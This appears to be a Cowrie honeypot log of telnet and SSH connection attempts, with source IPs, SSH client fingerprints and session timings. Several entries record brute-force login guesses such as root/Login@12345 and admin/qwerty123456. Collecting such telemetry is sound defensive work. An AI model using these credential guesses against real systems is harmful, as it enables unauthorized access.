{"eventid":"cowrie.session.closed","duration":31.059397220611572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:21.171248Z","src_ip":"103.49.70.87","session":"0f8898c445f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"e953f0b93d1b","protocol":"telnet","message":"New connection: 103.49.70.87:48474 (10.17.0.5:23) [session: e953f0b93d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:21.991609Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47064,"dst_ip":"159.203.135.109","dst_port":22,"session":"07fb0abd6ba2","protocol":"ssh","message":"New connection: 159.203.92.129:47064 (159.203.135.109:22) [session: 07fb0abd6ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:27.513075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:27.518177Z","src_ip":"159.203.92.129","session":"07fb0abd6ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:27.523232Z","src_ip":"159.203.92.129","session":"07fb0abd6ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anthony","password":"123456","message":"login attempt [anthony/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:27.535765Z","src_ip":"159.203.92.129","session":"07fb0abd6ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:28.547484Z","src_ip":"159.203.92.129","session":"07fb0abd6ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":50122,"dst_ip":"10.17.0.5","dst_port":22,"session":"af98737fe885","protocol":"ssh","message":"New connection: 210.79.142.221:50122 (10.17.0.5:22) [session: af98737fe885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:35.157611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:35.163611Z","src_ip":"210.79.142.221","session":"af98737fe885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:35.408823Z","src_ip":"210.79.142.221","session":"af98737fe885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty123456","message":"login attempt [admin/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:36.419947Z","src_ip":"210.79.142.221","session":"af98737fe885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:37.666847Z","src_ip":"210.79.142.221","session":"af98737fe885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.338506937026978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:45.840891Z","src_ip":"103.49.70.87","session":"e27e807e6fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":12164,"dst_ip":"159.203.135.109","dst_port":22,"session":"1addd89b5ae6","protocol":"ssh","message":"New connection: 118.193.33.81:12164 (159.203.135.109:22) [session: 1addd89b5ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:48.514932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:48.520077Z","src_ip":"118.193.33.81","session":"1addd89b5ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:48.740034Z","src_ip":"118.193.33.81","session":"1addd89b5ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login@12345","message":"login attempt [root/Login@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:49.657205Z","src_ip":"118.193.33.81","session":"1addd89b5ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":36258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64c5bcd58f6","protocol":"telnet","message":"New connection: 103.49.70.87:36258 (10.17.0.5:23) [session: b64c5bcd58f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:50.818285Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:50.883497Z","src_ip":"118.193.33.81","session":"1addd89b5ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.32378840446472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:53.315312Z","src_ip":"103.49.70.87","session":"e953f0b93d1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"017b9bc7c369","protocol":"telnet","message":"New connection: 103.49.70.87:58196 (10.17.0.5:23) [session: 017b9bc7c369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:56.770826Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e08c5dfdce","protocol":"ssh","message":"New connection: 157.7.113.83:40916 (159.203.135.109:22) [session: e3e08c5dfdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:57.917070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:57.921792Z","src_ip":"157.7.113.83","session":"e3e08c5dfdce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:58.079727Z","src_ip":"157.7.113.83","session":"e3e08c5dfdce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@2026","message":"login attempt [root/Abc@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:58.741343Z","src_ip":"157.7.113.83","session":"e3e08c5dfdce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:59.909169Z","src_ip":"157.7.113.83","session":"e3e08c5dfdce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":58212,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a828b406f2","protocol":"telnet","message":"New connection: 103.49.70.87:58212 (10.17.0.5:23) [session: a6a828b406f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:01.269092Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37456,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c513c8f1a9","protocol":"ssh","message":"New connection: 159.203.92.129:37456 (159.203.135.109:22) [session: 51c513c8f1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:08.344340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:08.349798Z","src_ip":"159.203.92.129","session":"51c513c8f1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:08.356882Z","src_ip":"159.203.92.129","session":"51c513c8f1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anthony","password":"anthony","message":"login attempt [anthony/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:08.368949Z","src_ip":"159.203.92.129","session":"51c513c8f1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:09.376044Z","src_ip":"159.203.92.129","session":"51c513c8f1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":45572,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f374cc1ebf","protocol":"telnet","message":"New connection: 103.49.70.87:45572 (10.17.0.5:23) [session: 78f374cc1ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:09.458522Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":45584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8992bcd4c69e","protocol":"telnet","message":"New connection: 103.49.70.87:45584 (10.17.0.5:23) [session: 8992bcd4c69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:09.876170Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7cd6f40ae7","protocol":"telnet","message":"New connection: 103.49.70.87:45588 (10.17.0.5:23) [session: bc7cd6f40ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:11.246907Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b91f79b181","protocol":"telnet","message":"New connection: 103.49.70.87:45592 (10.17.0.5:23) [session: 05b91f79b181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:11.713577Z"}
{"eventid":"cowrie.session.closed","duration":30.99817728996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:21.816311Z","src_ip":"103.49.70.87","session":"b64c5bcd58f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":60840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a764df9fb020","protocol":"telnet","message":"New connection: 103.49.70.87:60840 (10.17.0.5:23) [session: a764df9fb020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:23.029325Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d1b252ffae","protocol":"telnet","message":"New connection: 185.26.126.47:45054 (159.203.135.109:23) [session: c5d1b252ffae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:26.178432Z"}
{"eventid":"cowrie.session.closed","duration":31.126453638076782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:27.897195Z","src_ip":"103.49.70.87","session":"017b9bc7c369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":60852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23a1bf8df58","protocol":"telnet","message":"New connection: 103.49.70.87:60852 (10.17.0.5:23) [session: a23a1bf8df58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:30.843609Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":60868,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a545996455f","protocol":"telnet","message":"New connection: 103.49.70.87:60868 (10.17.0.5:23) [session: 7a545996455f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:32.224275Z"}
{"eventid":"cowrie.session.closed","duration":31.00354552268982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:32.272499Z","src_ip":"103.49.70.87","session":"a6a828b406f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.24.39.41","src_port":50269,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c8a4c6043f","protocol":"telnet","message":"New connection: 36.24.39.41:50269 (159.203.135.109:23) [session: 31c8a4c6043f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:33.549683Z"}
{"eventid":"cowrie.session.closed","duration":31.306879997253418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:40.765078Z","src_ip":"103.49.70.87","session":"78f374cc1ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949965000152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:40.825986Z","src_ip":"103.49.70.87","session":"8992bcd4c69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":13028,"dst_ip":"159.203.135.109","dst_port":22,"session":"98169fc0d1e7","protocol":"ssh","message":"New connection: 118.193.33.81:13028 (159.203.135.109:22) [session: 98169fc0d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:41.175530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:41.180414Z","src_ip":"118.193.33.81","session":"98169fc0d1e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:41.402787Z","src_ip":"118.193.33.81","session":"98169fc0d1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.45969557762146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:39:42.173107Z","src_ip":"103.49.70.87","session":"05b91f79b181","protocol":"telnet"}
